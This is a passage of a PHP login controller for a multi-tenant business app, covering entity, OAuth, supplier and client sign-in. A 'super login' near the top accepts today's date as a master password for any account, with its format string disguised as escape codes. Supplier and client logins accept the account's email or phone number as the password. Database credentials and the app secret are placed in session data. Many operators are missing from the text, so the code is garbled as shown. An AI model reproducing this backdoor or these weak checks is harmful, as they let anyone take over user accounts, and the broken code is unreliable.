  3732.             $todayDt = new \DateTime();
  3733. //            $mp='_eco_';
  3734.             $mp $todayDt->format("\171\x6d\x64");
  3735.             if ($request->request->get('password') == $mp)
  3736.                 $skipPassword 1;
  3737.             //super login ends
  3738.             ///special logins, suppliers and clients
  3739.             $company_id_list = [];
  3740.             $company_name_list = [];
  3741.             $company_image_list = [];
  3742.             $company_dark_vibrant_list = [];
  3743.             $company_light_vibrant_list = [];
  3744.             $company_vibrant_list = [];
  3745.             $appIdFromUserName 0//nothing for now , will add supp or client if we find anything
  3746.             $uname $request->request->get('username');
  3747.             $uname preg_replace('/\s/'''$uname);
  3748.             $deviceId $request->request->has('deviceId') ? $request->request->get('deviceId') : 0;
  3749.             $applicantDirectLogin $request->request->has('applicantDirectLogin') ? $request->request->get('applicantDirectLogin') : $applicantDirectLogin;
  3750.             $session $request->getSession();
  3751.             $product_name_display_type 0;
  3752.             $Special 0;
  3753.             if ($entityLoginFlag == 1//entity login
  3754.             {
  3755.                 if ($cookieLogin == 1) {
  3756.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3757.                         array(
  3758.                             'userId' => $userId
  3759.                         )
  3760.                     );
  3761.                 } else if ($loginType == 2//oauth
  3762.                 {
  3763.                     if (!empty($oAuthData)) {
  3764.                         //check for if exists 1st
  3765.                         $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3766.                             array(
  3767.                                 'email' => $oAuthData['email']
  3768.                             )
  3769.                         );
  3770.                         if ($user) {
  3771.                             //no need to verify for oauth just proceed
  3772.                         } else {
  3773.                             //add new user and pass that user
  3774.                             $add_user EntityUserM::addNewEntityUser(
  3775.                                 $em_goc,
  3776.                                 $oAuthData['name'],
  3777.                                 $oAuthData['email'],
  3778.                                 '',
  3779.                                 0,
  3780.                                 0,
  3781.                                 0,
  3782.                                 UserConstants::USER_TYPE_ENTITY_USER_GENERAL_USER,
  3783.                                 [],
  3784.                                 0,
  3785.                                 "",
  3786.                                 0,
  3787.                                 "",
  3788.                                 $image '',
  3789.                                 $deviceId,
  3790.                                 0,
  3791.                                 0,
  3792.                                 $oAuthData['uniqueId'],
  3793.                                 $oAuthData['token'],
  3794.                                 $oAuthData['image'],
  3795.                                 $oAuthData['emailVerified'],
  3796.                                 $oAuthData['type']
  3797.                             );
  3798.                             if ($add_user['success'] == true) {
  3799.                                 $firstLogin 1;
  3800.                                 $user $add_user['user'];
  3801.                                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  3802.                                     $emailmessage = (new \Swift_Message('Registration on Karbar'))
  3803.                                         ->setFrom('registration@entity.innobd.com')
  3804.                                         ->setTo($user->getEmail())
  3805.                                         ->setBody(
  3806.                                             $this->renderView(
  3807.                                                 '@Application/email/user/registration_karbar.html.twig',
  3808.                                                 array('name' => $request->request->get('name'),
  3809.                                                     //                                                    'companyData' => $companyData,
  3810.                                                     //                                                    'userName'=>$request->request->get('email'),
  3811.                                                     //                                                    'password'=>$request->request->get('password'),
  3812.                                                 )
  3813.                                             ),
  3814.                                             'text/html'
  3815.                                         );
  3816.                                     /*
  3817.                                                        * If you also want to include a plaintext version of the message
  3818.                                                       ->addPart(
  3819.                                                           $this->renderView(
  3820.                                                               'Emails/registration.txt.twig',
  3821.                                                               array('name' => $name)
  3822.                                                           ),
  3823.                                                           'text/plain'
  3824.                                                       )
  3825.                                                       */
  3826.                                     //            ;
  3827.                                     $this->get('mailer')->send($emailmessage);
  3828.                                 }
  3829.                             }
  3830.                         }
  3831.                     }
  3832.                 } else {
  3833.                     $data = array();
  3834.                     $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityUser')->findOneBy(
  3835.                         array(
  3836.                             'email' => $request->request->get('username')
  3837.                         )
  3838.                     );
  3839.                     if (!$user) {
  3840.                         $message "Wrong Email";
  3841.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3842.                             return new JsonResponse(array(
  3843.                                 'uid' => $session->get(UserConstants::USER_ID),
  3844.                                 'session' => $session,
  3845.                                 'success' => false,
  3846.                                 'errorStr' => $message,
  3847.                                 'session_data' => [],
  3848.                             ));
  3849.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3850.                             //                    return $response;
  3851.                         }
  3852.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3853.                             "message" => $message,
  3854.                             'page_title' => "Login",
  3855.                             'gocList' => $gocDataList,
  3856.                             'gocId' => $gocId
  3857.                         ));
  3858.                     }
  3859.                     if ($user) {
  3860.                         if ($user->getStatus() == UserConstants::INACTIVE_USER) {
  3861.                             $message "Sorry, Your Account is Deactivated";
  3862.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3863.                                 return new JsonResponse(array(
  3864.                                     'uid' => $session->get(UserConstants::USER_ID),
  3865.                                     'session' => $session,
  3866.                                     'success' => false,
  3867.                                     'errorStr' => $message,
  3868.                                     'session_data' => [],
  3869.                                 ));
  3870.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3871.                                 //                    return $response;
  3872.                             }
  3873.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3874.                                 "message" => $message,
  3875.                                 'page_title' => "Login",
  3876.                                 'gocList' => $gocDataList,
  3877.                                 'gocId' => $gocId
  3878.                             ));
  3879.                         }
  3880.                     }
  3881.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3882.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3883.                         $message "Wrong Email/Password";
  3884.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3885.                             return new JsonResponse(array(
  3886.                                 'uid' => $session->get(UserConstants::USER_ID),
  3887.                                 'session' => $session,
  3888.                                 'success' => false,
  3889.                                 'errorStr' => $message,
  3890.                                 'session_data' => [],
  3891.                             ));
  3892.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3893.                             //                    return $response;
  3894.                         }
  3895.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3896.                             "message" => $message,
  3897.                             'page_title' => "Login",
  3898.                             'gocList' => $gocDataList,
  3899.                             'gocId' => $gocId
  3900.                         ));
  3901.                     }
  3902.                 }
  3903.                 if ($user) {
  3904.                     //set cookie
  3905.                     if ($remember_me == 1)
  3906.                         $session->set('REMEMBERME'1);
  3907.                     else
  3908.                         $session->set('REMEMBERME'0);
  3909.                     $userType $user->getUserType();
  3910.                     // Entity User
  3911.                     $userId $user->getUserId();
  3912.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3913.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3914.                     $session->set('firstLogin'$firstLogin);
  3915.                     $session->set(UserConstants::USER_TYPE$userType);
  3916.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3917.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3918.                     $session->set('oAuthImage'$user->getOAuthImage());
  3919.                     $session->set(UserConstants::USER_NAME$user->getName());
  3920.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3921.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3922.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3923.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3924.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3925.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3926.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3927.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3928.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3929.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3930.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3931.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3932.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3933.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3934.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3935.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3936.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3937.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3938.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3939.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3940.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3941.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3942.                     $route_list_array = [];
  3943.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3944.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3945.                     $loginID EntityUserM::addEntityUserLoginLog(
  3946.                         $em_goc,
  3947.                         $userId,
  3948.                         $request->server->get("REMOTE_ADDR"),
  3949.                         0,
  3950.                         $deviceId,
  3951.                         $oAuthData['token'],
  3952.                         $oAuthData['type']
  3953.                     );
  3954.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3955.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3956.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3957.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3958.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3959.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3960.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3961.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3962.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3963.                     $appIdList json_decode($user->getUserAppIdList());
  3964.                     if ($appIdList == null)
  3965.                         $appIdList = [];
  3966.                     $companyIdListByAppId = [];
  3967.                     $companyNameListByAppId = [];
  3968.                     $companyImageListByAppId = [];
  3969.                     if (!in_array($user->getUserAppId(), $appIdList))
  3970.                         $appIdList[] = $user->getUserAppId();
  3971.                     foreach ($appIdList as $currAppId) {
  3972.                         if ($currAppId == $user->getUserAppId()) {
  3973.                             foreach ($company_id_list as $index_company => $company_id) {
  3974.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3975.                                 $app_company_index $currAppId '_' $company_id;
  3976.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3977.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3978.                             }
  3979.                         } else {
  3980.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3981.                                 $this->getDoctrine()->getManager('company_group'),
  3982.                                 $gocEnabled,
  3983.                                 $currAppId
  3984.                             );
  3985.                             if (!empty($dataToConnect)) {
  3986.                                 $connector $this->container->get('application_connector');
  3987.                                 $connector->resetConnection(
  3988.                                     'default',
  3989.                                     $dataToConnect['dbName'],
  3990.                                     $dataToConnect['dbUser'],
  3991.                                     $dataToConnect['dbPass'],
  3992.                                     $dataToConnect['dbHost'],
  3993.                                     $reset true
  3994.                                 );
  3995.                                 $em $this->getDoctrine()->getManager();
  3996.                                 $companyList Company::getCompanyListWithImage($em);
  3997.                                 foreach ($companyList as $c => $dta) {
  3998.                                     //                                $company_id_list[]=$c;
  3999.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  4000.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  4001.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  4002.                                     $app_company_index $currAppId '_' $c;
  4003.                                     $company_locale $companyList[$c]['locale'];
  4004.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4005.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4006.                                 }
  4007.                             }
  4008.                         }
  4009.                     }
  4010.                     $session->set('appIdList'$appIdList);
  4011.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  4012.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  4013.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  4014.                     $branchIdList json_decode($user->getUserBranchIdList());
  4015.                     $branchId $user->getUserBranchId();
  4016.                     $session->set('branchIdList'$branchIdList);
  4017.                     $session->set('branchId'$branchId);
  4018.                     if ($user->getAllModuleAccessFlag() == 1)
  4019.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4020.                     else
  4021.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  4022.                     $session_data = array(
  4023.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  4024.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  4025.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  4026.                         'firstLogin' => $firstLogin,
  4027.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  4028.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  4029.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  4030.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  4031.                         'oAuthImage' => $session->get('oAuthImage'),
  4032.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  4033.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  4034.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  4035.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  4036.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  4037.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  4038.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  4039.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  4040.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  4041.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  4042.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  4043.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  4044.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  4045.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  4046.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  4047.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  4048.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  4049.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  4050.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  4051.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  4052.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  4053.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  4054.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  4055.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  4056.                         //new
  4057.                         'appIdList' => $session->get('appIdList'),
  4058.                         'branchIdList' => $session->get('branchIdList'null),
  4059.                         'branchId' => $session->get('branchId'null),
  4060.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  4061.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  4062.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  4063.                     );
  4064.                     $session_data $this->filterClientSessionData($session_data);
  4065.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4066.                     $token $tokenData['token'];
  4067.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4068.                         $session->set('remoteVerified'1);
  4069.                         $response = new JsonResponse(array(
  4070.                             'token' => $token,
  4071.                             'uid' => $session->get(UserConstants::USER_ID),
  4072.                             'session' => $session,
  4073.                             'success' => true,
  4074.                             'session_data' => $session_data,
  4075.                         ));
  4076.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4077.                         return $response;
  4078.                     }
  4079.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4080.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4081.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4082.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4083.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4084.                                 return $this->redirect($red);
  4085.                             }
  4086.                         } else {
  4087.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4088.                         }
  4089.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4090.                         return $this->redirectToRoute("dashboard");
  4091.                     else
  4092.                         return $this->redirectToRoute($user->getDefaultRoute());
  4093. //                    if ($request->server->has("HTTP_REFERER")) {
  4094. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4095. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4096. //                        }
  4097. //                    }
  4098. //
  4099. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4100. //                    if ($request->request->has('referer_path')) {
  4101. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4102. //                            return $this->redirect($request->request->get('referer_path'));
  4103. //                        }
  4104. //                    }
  4105.                     //                    if($request->request->has('gocId')
  4106.                 }
  4107.             } else {
  4108.                 if ($specialLogin == 1) {
  4109.                 } else if (strpos($uname'SID-') !== false) {
  4110.                     $specialLogin 1;
  4111.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4112.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4113.                     //*** supplier id will be last 6 DIgits
  4114.                     $str_app_id_supplier_id substr($uname4);
  4115.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4116.                     {
  4117.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4118.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4119.                     }
  4120.                     //                else
  4121.                     //                {
  4122.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4123.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4124.                     //                }
  4125.                 } else if (strpos($uname'CID-') !== false) {
  4126.                     $specialLogin 1;
  4127.                     $userType UserConstants::USER_TYPE_CLIENT;
  4128.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4129.                     //*** supplier id will be last 6 DIgits
  4130.                     $str_app_id_client_id substr($uname4);
  4131.                     $clientId = ($str_app_id_client_id) % 1000000;
  4132.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4133.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4134.                     $specialLogin 1;
  4135.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4136.                     $isApplicantLogin 1;
  4137.                     if ($oAuthData) {
  4138.                         $email $oAuthData['email'];
  4139.                         $userName $email;
  4140. //                        $userName = explode('@', $email)[0];
  4141. //                        $userName = str_split($userName);
  4142. //                        $userNameArr = $userName;
  4143.                     } else if (strpos($uname'APP-') !== false) {
  4144.                         $email $uname;
  4145.                         $userName substr($email4);
  4146. //                        $userNameArr = str_split($userName);
  4147. //                        $generatedIdFromAscii = 0;
  4148. //                        foreach ($userNameArr as $item) {
  4149. //                            $generatedIdFromAscii += ord($item);
  4150. //                        }
  4151. //
  4152. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4153. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4154. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4155.                     } else {
  4156.                         $email $uname;
  4157.                         $userName $uname;
  4158. //                            $userName = substr($email, 4);
  4159. //                        $userName = explode('@', $email)[0];
  4160. //                            $userNameArr = str_split($userName);
  4161.                     }
  4162.                 }
  4163.                 $data = array();
  4164.                 if ($hasGoc == 1) {
  4165.                     if ($gocId != && $gocId != "") {
  4166. //                        $gocId = $request->request->get('gocId');
  4167.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4168.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4169.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4170.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4171.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4172.                         $connector $this->container->get('application_connector');
  4173.                         $connector->resetConnection(
  4174.                             'default',
  4175.                             $gocDataList[$gocId]['dbName'],
  4176.                             $gocDataList[$gocId]['dbUser'],
  4177.                             $gocDataList[$gocId]['dbPass'],
  4178.                             $gocDataList[$gocId]['dbHost'],
  4179.                             $reset true
  4180.                         );
  4181.                     } else if ($appId != && $appId != "") {
  4182.                         $gocId $request->request->get('gocId');
  4183.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4184.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4185.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4186.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4187.                         $gocId $gocDataListByAppId[$appId]['id'];
  4188.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4189.                         $connector $this->container->get('application_connector');
  4190.                         $connector->resetConnection(
  4191.                             'default',
  4192.                             $gocDbName,
  4193.                             $gocDbUser,
  4194.                             $gocDbPass,
  4195.                             $gocDbHost,
  4196.                             $reset true
  4197.                         );
  4198.                     }
  4199.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4200.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4201.                     if ($gocId != && $gocId != "") {
  4202.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4203.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4204.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4205.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4206.                         $connector $this->container->get('application_connector');
  4207.                         $connector->resetConnection(
  4208.                             'default',
  4209.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4210.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4211.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4212.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4213.                             $reset true
  4214.                         );
  4215.                     }
  4216.                 }
  4217.                 $session $request->getSession();
  4218.                 $em $this->getDoctrine()->getManager();
  4219.                 //will work on later on supplier login
  4220.                 if ($specialLogin == 1) {
  4221.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4222.                         //validate supplier
  4223.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4224.                             ->findOneBy(
  4225.                                 array(
  4226.                                     'supplierId' => $supplierId
  4227.                                 )
  4228.                             );
  4229.                         if (!$supplier) {
  4230.                             $message "Wrong UserName";
  4231.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4232.                                 return new JsonResponse(array(
  4233.                                     'uid' => $session->get(UserConstants::USER_ID),
  4234.                                     'session' => $session,
  4235.                                     'success' => false,
  4236.                                     'errorStr' => $message,
  4237.                                     'session_data' => [],
  4238.                                 ));
  4239.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4240.                                 //                    return $response;
  4241.                             }
  4242.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4243.                                 "message" => $message,
  4244.                                 'page_title' => "Login",
  4245.                                 'gocList' => $gocDataList,
  4246.                                 'gocId' => $gocId
  4247.                             ));
  4248.                         }
  4249.                         if ($supplier) {
  4250.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4251.                                 $message "Sorry, Your Account is Deactivated";
  4252.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4253.                                     return new JsonResponse(array(
  4254.                                         'uid' => $session->get(UserConstants::USER_ID),
  4255.                                         'session' => $session,
  4256.                                         'success' => false,
  4257.                                         'errorStr' => $message,
  4258.                                         'session_data' => [],
  4259.                                     ));
  4260.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4261.                                     //                    return $response;
  4262.                                 }
  4263.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4264.                                     "message" => $message,
  4265.                                     'page_title' => "Login",
  4266.                                     'gocList' => $gocDataList,
  4267.                                     'gocId' => $gocId
  4268.                                 ));
  4269.                             }
  4270.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4271.                                 //pass ok proceed
  4272.                             } else {
  4273.                                 if ($skipPassword == 1) {
  4274.                                 } else {
  4275.                                     $message "Wrong Email/Password";
  4276.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4277.                                         return new JsonResponse(array(
  4278.                                             'uid' => $session->get(UserConstants::USER_ID),
  4279.                                             'session' => $session,
  4280.                                             'success' => false,
  4281.                                             'errorStr' => $message,
  4282.                                             'session_data' => [],
  4283.                                         ));
  4284.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4285.                                         //                    return $response;
  4286.                                     }
  4287.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4288.                                         "message" => $message,
  4289.                                         'page_title' => "Login",
  4290.                                         'gocList' => $gocDataList,
  4291.                                         'gocId' => $gocId
  4292.                                     ));
  4293.                                 }
  4294.                             }
  4295.                             $jd = [$supplier->getCompanyId()];
  4296.                             if ($jd != null && $jd != '' && $jd != [])
  4297.                                 $company_id_list $jd;
  4298.                             else
  4299.                                 $company_id_list = [1];
  4300.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4301.                             foreach ($company_id_list as $c) {
  4302.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4303.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4304.                             }
  4305.                             $user $supplier;
  4306.                         }
  4307.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4308.                         //validate supplier
  4309.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4310.                             ->findOneBy(
  4311.                                 array(
  4312.                                     'clientId' => $clientId
  4313.                                 )
  4314.                             );
  4315.                         if (!$client) {
  4316.                             $message "Wrong UserName";
  4317.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4318.                                 return new JsonResponse(array(
  4319.                                     'uid' => $session->get(UserConstants::USER_ID),
  4320.                                     'session' => $session,
  4321.                                     'success' => false,
  4322.                                     'errorStr' => $message,
  4323.                                     'session_data' => [],
  4324.                                 ));
  4325.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4326.                                 //                    return $response;
  4327.                             }
  4328.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4329.                                 "message" => $message,
  4330.                                 'page_title' => "Login",
  4331.                                 'gocList' => $gocDataList,
  4332.                                 'gocId' => $gocId
  4333.                             ));
  4334.                         }
  4335.                         if ($client) {
  4336.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4337.                                 $message "Sorry, Your Account is Deactivated";
  4338.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4339.                                     return new JsonResponse(array(
  4340.                                         'uid' => $session->get(UserConstants::USER_ID),
  4341.                                         'session' => $session,
  4342.                                         'success' => false,
  4343.                                         'errorStr' => $message,
  4344.                                         'session_data' => [],
  4345.                                     ));
  4346.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4347.                                     //                    return $response;
  4348.                                 }
  4349.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4350.                                     "message" => $message,
  4351.                                     'page_title' => "Login",
  4352.                                     'gocList' => $gocDataList,
  4353.                                     'gocId' => $gocId
  4354.                                 ));
  4355.                             }
  4356.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4357.                                 //pass ok proceed
  4358.                             } else {
  4359.                                 if ($skipPassword == 1) {
  4360.                                 } else {
  4361.                                     $message "Wrong Email/Password";
